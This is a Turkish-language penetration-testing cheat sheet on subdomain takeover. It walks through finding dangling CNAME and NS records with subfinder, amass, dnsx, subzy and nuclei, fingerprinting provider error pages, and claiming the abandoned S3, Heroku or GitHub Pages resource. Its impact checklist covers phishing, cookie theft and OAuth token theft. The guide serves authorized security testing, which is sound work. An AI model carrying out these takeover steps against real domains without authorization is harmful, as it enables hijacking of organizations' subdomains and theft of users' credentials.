Skip to content

Subdomain Takeover

OWASP A05 difficulty: kolay-orta

Subdomain Takeover, bir alt alan adının DNS kaydının (genelde CNAME) artık yok olmuş/terk edilmiş bir üçüncü taraf servise işaret etmesiyle oluşur. Saldırgan o servisteki kaynağı kendi hesabında oluşturursa, alt alan adını ele geçirir — kimlik avı, çerez çalma (parent domain scope dikkat), OAuth redirect ve marka istismarı için güçlü bir zemin.

1) blog.hedef.com CNAME hedef.github.io
2) GitHub Pages repo silinir / yeniden adlandırılır
3) DNS kaydı kalır → "dangling CNAME"
4) Saldırgan aynı GitHub Pages adını claim eder
5) blog.hedef.com artık saldırgan içeriğini sunar

Sık provider’lar: AWS S3, CloudFront, ELB, Heroku, Azure App/Traffic Manager, Shopify, Fastly, Pantheon, Tumblr, WordPress.com, Surge, Netlify, Fly.io…

  1. Alt alan adlarını topla :

    Terminal window
    subfinder -d hedef.com -all | tee subs.txt
    Terminal window
    amass enum -passive -d hedef.com
    Terminal window
    assetfinder --subs-only hedef.com
  2. CNAME / NXDOMAIN çözümle :

    Terminal window
    dnsx -l subs.txt -cname -resp -o cnames.txt
    Terminal window
    dnsx -l subs.txt -a -resp -o alive.txt
    Terminal window
    dig CNAME blog.hedef.com +short
    Terminal window
    dig NS staging.hedef.com +short
  3. Fingerprint / claim edilebilir hata ara :

    Terminal window
    subzy run --targets subs.txt
    Terminal window
    nuclei -l subs.txt -t http/takeovers/
    Terminal window
    httpx -l subs.txt -title -tech-detect -status-code
  4. Manuel fingerprint örnekleri — HTTP gövde / başlık:

    NoSuchBucket / The specified bucket does not exist
    There isn't a GitHub Pages site here
    Heroku | No such app
    Fastly error: unknown domain
    NoSuchDistribution / ERROR: The request could not be satisfied
    Azure: 404 Web Site not found
    Shopify: Sorry, this shop is currently unavailable
  5. can-i-take-over-xyz — servisin hâlâ claim edilebilir olup olmadığını doğrula (birçok sağlayıcı engelledi; liste güncel tut).

  6. Claim + PoC — ilgili bulut/SaaS’ta kaynağı oluştur; DNS’in sana çözüldüğünü kanıtla. Yetkili testte zararlı içerik koyma; beacon/PoC HTML yeter.

Terminal window
echo blog.hedef.com > CNAME
Terminal window
aws s3 mb s3://blog.hedef.com
Terminal window
heroku create dangling-name

Claim sonrası:

Terminal window
dig +short blog.hedef.com
Terminal window
curl -sI https://blog.hedef.com | head
□ Phishing — gerçek subdomain, geçerli TLS (Let's Encrypt / provider cert)
□ Cookie theft — Domain=.hedef.com çerezleri (Secure/HttpOnly/path'e bağlı)
□ CORS / CSP trusted subdomain ise XSS veya API okuma zinciri
□ OAuth redirect_uri allow-list'te subdomain → token çalma
□ Service Worker / PWA scope kötüye kullanımı
□ E-posta — sarkan MX/TXT nadiren; SPF/DKIM spoof yüzeyi
NS kaydı saldırgan nameserver'ına gidiyorsa → tüm zone kontrolü (kritik)
Elastic Beanstalk / Azure TM CNAME'leri sık dangling aday
Unregistered delegated NS (expired registrar) → domain hijack varyantı
Terminal window
dig NS orphan.hedef.com +short
Terminal window
whois $(dig NS orphan.hedef.com +short | head -1)
□ Generic 404 ama bucket/app başkasına ait (claim reddedilir)
□ Provider "domain already claimed" / verification zorunlu
□ Cloudflare proxy (turuncu bulut) — origin dangling ama edge hâlâ cevap
□ Internal-only CNAME (çözülmez / NXDOMAIN farklı sebep)

subfinder + httpx

embedded tool
Generated command
subfinder -d hedef.com -all -silent | httpx -silent -title -tech-detect
subfinder → dnsx -cname → nuclei takeovers
→ can-i-take-over-xyz doğrula
→ claim → PoC sayfa
→ OAuth redirect / cookie impact not et